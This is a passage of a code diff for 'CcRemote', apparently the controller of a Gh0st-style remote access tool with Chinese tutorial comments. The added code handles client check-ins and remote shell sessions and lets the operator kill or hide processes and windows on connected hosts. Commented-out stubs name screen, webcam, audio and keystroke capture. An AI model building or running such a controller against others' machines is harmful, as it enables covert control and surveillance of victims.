while (pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = pListCtrl->GetNextSelectedItem(pos);
DWORD dwProcessID = pListCtrl->GetItemData(nItem);
memcpy(lpBuffer + dwOffset, &dwProcessID, sizeof(DWORD));
dwOffset += sizeof(DWORD);
}
//发送数据到服务端到服务端查找COMMAND_KILLPROCESS这个数据头
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CSystemDlg::ShowWindowsList(void)
{
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwOffset = 0;
char *lpTitle = NULL;
//m_list_process.DeleteAllItems();
bool isDel = false;
do
{
isDel = false;
for (int j = 0; j < m_list_process_or_windows.GetItemCount(); j++)
{
CString temp = m_list_process_or_windows.GetItemText(j, 2);
CString restr = "隐藏";
if (temp != restr)
{
m_list_process_or_windows.DeleteItem(j);
isDel = true;
break;
}
}
} while (isDel);
CString str;
int i;
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset);
lpTitle = (char *)lpBuffer + dwOffset + sizeof(DWORD);
str.Format("%5u", *lpPID);
m_list_process_or_windows.InsertItem(i, str);
m_list_process_or_windows.SetItemText(i, 1, lpTitle);
m_list_process_or_windows.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示"
// ItemData 为窗口句柄
m_list_process_or_windows.SetItemData(i, *lpPID); //(d)
dwOffset += sizeof(DWORD) + lstrlen(lpTitle) + 1;
}
str.Format("窗口名称 / %d", i);
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_list_process_or_windows.SetColumn(1, &lvc);
}
void CSystemDlg::OnRefreshpslist()
{
// TODO: 在此添加命令处理程序代码
if (m_list_process_or_windows.IsWindowVisible())
GetProcessList();
//if (m_list_windows.IsWindowVisible())
//GetWindowsList();
}
void CSystemDlg::OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
CMenu popup;
if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
{
popup.LoadMenu(IDR_PSLIST);
}
else if (m_caseSyetemIs == TOKEN_WSLIST)
{
popup.LoadMenu(IDR_WINDOW_LIST);
}
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
*pResult = 0;
}
void CSystemDlg::OnReceiveComplete(void)
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_PSLIST:
ShowProcessList();
break;
case TOKEN_WSLIST:
ShowWindowsList();
break;
//case TOKEN_DIALUPASS:
//ShowDialupassList();
//break;
default:
// 传输发生异常数据
break;
}
}
void CSystemDlg::OnWindowClost()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_CLOSE; //注意这个就是我们的数据头
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowHide()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //窗口处理数据头
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
pListCtrl->SetItemText(nItem, 2, "隐藏"); //注意这时将列表中的显示状态为"隐藏"
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); //得到窗口的句柄一同发送
DWORD dHow = SW_HIDE; //窗口处理参数 0
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowMax()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //同上
DWORD hwnd = pListCtrl->GetItemData(nItem); //同上
pListCtrl->SetItemText(nItem, 2, "显示"); //将状态改为显示
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MAXIMIZE; //同上
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
// TODO: 在此添加命令处理程序代码
}
void CSystemDlg::OnWindowMin()
{
// TODO: 在此添加命令处理程序代码
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
DWORD hwnd = pListCtrl->GetItemData(nItem);
pListCtrl->SetItemText(nItem, 2, "显示");
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MINIMIZE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowReturn()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
DWORD hwnd = pListCtrl->GetItemData(nItem);
pListCtrl->SetItemText(nItem, 2, "显示");
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_RESTORE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowReflush()
{
// TODO: 在此添加命令处理程序代码
GetWindowsList();
}
void CSystemDlg::GetWindowsList(void)
{
BYTE bToken = COMMAND_WSLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}

View File

@@ -0,0 +1,54 @@
#pragma once
#include "include/IOCPServer.h"
// CSystemDlg 对话框
class CSystemDlg : public CDialog
{
DECLARE_DYNAMIC(CSystemDlg)
public:
CSystemDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CSystemDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_SYSTEM };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CListCtrl m_list_process_or_windows;
private:
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
BYTE m_caseSyetemIs; //用来区分窗口管理和进程管理
private:
void AdjustList(void);
void GetProcessList(void);
public:
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
afx_msg void OnKillprocess();
afx_msg void OnRefreshpslist();
afx_msg void OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnWindowClost();
afx_msg void OnWindowHide();
afx_msg void OnWindowMax();
afx_msg void OnWindowMin();
afx_msg void OnWindowReturn();
afx_msg void OnWindowReflush();
void GetWindowsList(void);
void OnReceiveComplete(void);
void ShowProcessList(void);
void ShowWindowsList(void);
};

View File

@@ -26,6 +26,17 @@ CCcRemoteApp::CCcRemoteApp()
// 支持重新启动管理器
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
//打开文件句柄检查QQwry.dat是村存在然后给publi变量设置BOOL值
HANDLE hFile = CreateFile("QQwry.dat", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
m_bIsQQwryExist = true;
}
else
{
m_bIsQQwryExist = false;
}
CloseHandle(hFile);
// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}

View File

@@ -19,7 +19,7 @@ class CCcRemoteApp : public CWinApp
{
public:
CCcRemoteApp();
bool m_bIsQQwryExist;
CIniFile m_IniFile;//配置文件对象
// 重写
public:

Binary file not shown.

View File

@@ -76,12 +76,14 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\..\bin</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\..\bin</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
@@ -199,9 +201,12 @@
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\..\common\macros.h" />
<ClInclude Include="CcRemote.h" />
<ClInclude Include="CcRemoteDlg.h" />
<ClInclude Include="CSettingDlg.h" />
<ClInclude Include="CShellDlg.h" />
<ClInclude Include="CSystemDlg.h" />
<ClInclude Include="framework.h" />
<ClInclude Include="include\Buffer.h" />
<ClInclude Include="include\CpuUsage.h" />
@@ -211,6 +216,7 @@
<ClInclude Include="pch.h" />
<ClInclude Include="PublicStruct.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="SEU_QQwry.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="TrueColorToolBar.h" />
</ItemGroup>
@@ -218,6 +224,8 @@
<ClCompile Include="CcRemote.cpp" />
<ClCompile Include="CcRemoteDlg.cpp" />
<ClCompile Include="CSettingDlg.cpp" />
<ClCompile Include="CShellDlg.cpp" />
<ClCompile Include="CSystemDlg.cpp" />
<ClCompile Include="include\Buffer.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
@@ -239,6 +247,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="SEU_QQwry.cpp" />
<ClCompile Include="TrueColorToolBar.cpp" />
</ItemGroup>
<ItemGroup>
@@ -249,6 +258,8 @@
</ItemGroup>
<ItemGroup>
<Image Include="res\CcRemote.ico" />
<Image Include="res\cmdshell.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\ToolBar_Main.bmp" />
</ItemGroup>

View File

@@ -63,6 +63,18 @@
<ClInclude Include="CSettingDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\macros.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="SEU_QQwry.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CShellDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CSystemDlg.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CcRemote.cpp">
@@ -92,6 +104,15 @@
<ClCompile Include="CSettingDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="SEU_QQwry.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CShellDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CSystemDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CcRemote.rc">
@@ -113,5 +134,11 @@
<Image Include="res\ToolBar_Main.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\cmdshell.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\system.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@@ -8,13 +8,16 @@
#include "CcRemoteDlg.h"
#include "afxdialogex.h"
#include "CSettingDlg.h"
#include "..\..\common\macros.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
CCcRemoteDlg *g_pCcRemoteDlg = NULL; //声明全局变量
CIOCPServer *m_iocpServer = NULL;
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
@@ -58,6 +61,13 @@ CCcRemoteDlg::CCcRemoteDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_CCREMOTE_DIALOG, pParent)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
//iCount = 0;
g_pCcRemoteDlg = this;
if (((CCcRemoteApp *)AfxGetApp())->m_bIsQQwryExist)//APP初始化会检查文件是否存在
{
m_QQwry = new SEU_QQwry;
m_QQwry->SetPath("QQWry.Dat");
}
}
void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
@@ -70,6 +80,10 @@ void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
//-------------自定义------------
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
//-------------系统-------------
ON_WM_SYSCOMMAND()
@@ -117,7 +131,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
//ProcessReceive(pContext); //这里是有数据到来 但没有完全接收
break;
case NC_RECEIVE_COMPLETE:
//ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
break;
}
}
@@ -200,7 +214,7 @@ BOOL CCcRemoteDlg::OnInitDialog()
////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
m_OnlineCount = 0;//初始上线数为0
InitSystemMenu();//初始化系统托盘
InitToolBar();//初始化工具栏按钮控件
InitMyMenu();//初始化菜单控件
@@ -377,7 +391,7 @@ int CCcRemoteDlg::InitList()
}
void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing)
void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext)
{
m_CList_Online.InsertItem(0, strIP); //默认为0行 这样所有插入的新列都在最上面
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); //设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
@@ -386,6 +400,7 @@ void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CS
m_CList_Online.SetItemText(0, ONLINELIST_CPU, strCPU);
m_CList_Online.SetItemText(0, ONLINELIST_VIDEO, strVideo);
m_CList_Online.SetItemText(0, ONLINELIST_PING, strPing);
m_CList_Online.SetItemData(0, (DWORD)pContext);
ShowMessage(true, strIP + "主机上线");
}
@@ -429,10 +444,10 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
void CCcRemoteDlg::Test()
{
ShowMessage(true, "软件初始化成功...");
AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "", "123232");
AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "", "111111");
AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "", "654321");
AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "", "123456");
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
//AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321");
//AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456");
}
@@ -475,6 +490,8 @@ void CCcRemoteDlg::OnOnlineCmd()
{
// TODO: 在此添加命令处理程序代码
MessageBox("CMD");
BYTE bToken = COMMAND_SHELL;
SendSelectCommand(&bToken,sizeof(BYTE));
}
@@ -493,6 +510,8 @@ void CCcRemoteDlg::OnOnlineFile()
void CCcRemoteDlg::OnOnlineProcess()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SYSTEM; //赋值一个宏 然后发送到服务端到服务端搜索COMMAND_SYSTEM
SendSelectCommand(&bToken, sizeof(BYTE));
}
@@ -517,6 +536,8 @@ void CCcRemoteDlg::OnOnlineVideo()
void CCcRemoteDlg::OnOnlineWindow()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_WSLIST;
SendSelectCommand(&bToken, sizeof(BYTE));
}
@@ -711,4 +732,266 @@ void CCcRemoteDlg::ListenPort()
if (nMaxConnection == 0)
nMaxConnection = 10000;
Activate(nPort, nMaxConnection); //开始监听
}
//控制命令都要经过这个函数
void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
{
if (pContext == NULL)
return;
// 如果管理对话框打开,交给相应的对话框处理
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; //这里就是ClientContext 结构体的int m_Dialog[2];
// 交给窗口处理
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
{
switch (pContext->m_Dialog[0])
{
//case FILEMANAGER_DLG:
// ((CFileManagerDlg *)dlg)->OnReceiveComplete();
// break;
//case SCREENSPY_DLG:
// ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
// break;
//case WEBCAM_DLG:
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
// break;
//case AUDIO_DLG:
// ((CAudioDlg *)dlg)->OnReceiveComplete();
// break;
//case KEYBOARD_DLG:
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
// break;
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
default:
break;
}
return;
}
switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) //如果没有赋值就判断是否是上线包和打开功能功能窗口
{ //讲解后回到ClientContext结构体
/*case TOKEN_AUTH: // 要求验证
m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
break;
case TOKEN_HEARTBEAT: // 回复心跳包
{
BYTE bToken = COMMAND_REPLAY_HEARTBEAT;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}
break;*/
case TOKEN_LOGIN: // 上线包
{
//这里处理上线
if (m_iocpServer->m_nMaxConnections <= g_pCcRemoteDlg->m_CList_Online.GetItemCount())
{
closesocket(pContext->m_Socket);
}
else
{
pContext->m_bIsMainSocket = true;
g_pCcRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
}
// 激活
BYTE bToken = COMMAND_ACTIVED;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}
break;
/*case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事,太菜
g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_AUDIO_START: // 语音
g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START:
g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
case TOKEN_WSLIST:
case TOKEN_PSLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SHELL_START:
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
break;
}
}
LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
{
CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing;
//注意这里的 ClientContext 正是发送数据时从列表里取出的数据
ClientContext *pContext = (ClientContext *)lParam;
if (pContext == NULL)
return -1;
CString strToolTipsText;
try
{
//int nCnt = m_pListCtrl->GetItemCount();
// 不合法的数据包
if (pContext->m_DeCompressionBuffer.GetBufferLen() != sizeof(LOGININFO))
return -1;
LOGININFO* LoginInfo = (LOGININFO*)pContext->m_DeCompressionBuffer.GetBuffer();
// ID
//CString str;
//str.Format("%d", m_nCount++);
// IP地址
//int i = m_pListCtrl->InsertItem(nCnt, str, 15);
// 外网IP
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
CString IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
//m_pListCtrl->SetItemText(i, 1, IPAddress);
strIP = IPAddress;
// 内网IP
//m_pListCtrl->SetItemText(i, 2, inet_ntoa(LoginInfo->IPAddress));
//strAddr=inet_ntoa(LoginInfo->IPAddress);
// 主机名
//m_pListCtrl->SetItemText(i, 3, LoginInfo->HostName);
strPCName = LoginInfo->HostName;
// 系统
////////////////////////////////////////////////////////////////////////////////////////
// 显示输出信息
char *pszOS = NULL;
switch (LoginInfo->OsVerInfoEx.dwPlatformId)
{
case VER_PLATFORM_WIN32_NT:
if (LoginInfo->OsVerInfoEx.dwMajorVersion <= 4)
pszOS = "NT";
if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0)
pszOS = "2000";
if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 1)
pszOS = "XP";
if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 2)
pszOS = "2003";
if (LoginInfo->OsVerInfoEx.dwMajorVersion == 6 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0)
pszOS = "Vista"; // Just Joking
}
strOS.Format
(
"%s SP%d (Build %d)",
//OsVerInfo.szCSDVersion,
pszOS,
LoginInfo->OsVerInfoEx.wServicePackMajor,
LoginInfo->OsVerInfoEx.dwBuildNumber
);
//m_pListCtrl->SetItemText(i, 4, strOS);
// CPU
strCPU.Format("%dMHz", LoginInfo->CPUClockMhz);
//m_pListCtrl->SetItemText(i, 5, str);
// Speed
strPing.Format("%d", LoginInfo->dwSpeed);
//m_pListCtrl->SetItemText(i, 6, str);
strVideo = LoginInfo->bIsWebCam ? "" : "--";
//m_pListCtrl->SetItemText(i, 7, str);
strToolTipsText.Format("New Connection Information:\nHost: %s\nIP : %s\nOS : Windows %s", LoginInfo->HostName, IPAddress, strOS);
if (((CCcRemoteApp *)AfxGetApp())->m_bIsQQwryExist)
{
strAddr = m_QQwry->IPtoAdd(IPAddress);
//strToolTipsText += "\nArea: ";
//strToolTipsText += str;
}
// 指定唯一标识
//m_pListCtrl->SetItemData(i, (DWORD) pContext); //这里将服务端的套接字等信息加入列表中保存
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
}
catch (...) {}
return 0;
}
void CCcRemoteDlg::SendSelectCommand(PBYTE pData, UINT nSize)
{
// TODO: 在此处添加实现代码
//取得选中的哪一个服务端list位置
POSITION pos = m_CList_Online.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while (pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_CList_Online.GetNextSelectedItem(pos);
//从列表条目中取出ClientContext结构体
//上线的时候传进的一个ClientContext值
ClientContext* pContext = (ClientContext*)m_CList_Online.GetItemData(nItem);
// 发送获得驱动器列表数据包
m_iocpServer->Send(pContext, pData, nSize); //调用 m_iocpServer 的Send 函数发送数据 查看m_iocpServer 定义
//Save the pointer to the new item in our CList
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memoryt .
}
//打开终端管理窗口
LRESULT CCcRemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
//这里定义远程终端的对话框转到远程终端的CShellDlg类的定义 先查看对话框界面后转到OnInitDialog
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
// 设置父窗口为卓面
dlg->Create(IDD_SHELL, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = SHELL_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//打开进程管理窗口
LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为卓面
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
pContext->m_Dialog[0] = SYSTEM_DLG; //这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}

View File

@@ -4,6 +4,9 @@
#include "TrueColorToolBar.h"
#include "PublicStruct.h"
#include "include/IOCPServer.h"
#include "SEU_QQwry.h"
#include "CShellDlg.h"
#include "CSystemDlg.h"
#pragma once
@@ -43,6 +46,7 @@ public:
private:
//--------------变量及常量----------------
SEU_QQwry *m_QQwry;
int m_OnlineCount;//上线计数
CBrush m_brush;//绘色函数
CMenu popup;//LIST菜单变量
@@ -79,7 +83,7 @@ private:
void InitStatusBar();//初始化状态控件
void InitToolBar();//初始化工具条按钮控件
void InitSystemMenu();//初始化系统托盘菜单
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing);
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
void ShowMessage(bool bIsOK, CString strMsg);//显示日志
void Test();
@@ -88,10 +92,13 @@ private:
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
void Activate(UINT nPort, UINT nMaxConnections);//监听端口
static void ProcessReceiveComplete(ClientContext *pContext);
public:
//-------------自定义消息处理-------------
afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
@@ -109,5 +116,7 @@ public:
afx_msg void OnMainClose();
afx_msg void OnMainBuild();
afx_msg void OnMainAbout();
afx_msg void OnClose();
afx_msg void OnClose();
private:
void SendSelectCommand(PBYTE pData, UINT nSize);
};

View File

@@ -25,3 +25,44 @@ enum
UM_ICONNOTIFY = WM_USER + 0x100,
};
enum
{
WM_CLIENT_CONNECT = WM_APP + 0x1001,
WM_CLIENT_CLOSE,
WM_CLIENT_NOTIFY,
WM_DATA_IN_MSG,
WM_DATA_OUT_MSG,
WM_ADDTOLIST = WM_USER + 102, // <20><><EFBFBD>ӵ<EFBFBD><D3B5>б<EFBFBD><D0B1><EFBFBD>ͼ<EFBFBD><CDBC>
WM_REMOVEFROMLIST, // <20><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ͼ<EFBFBD><CDBC>ɾ<EFBFBD><C9BE>
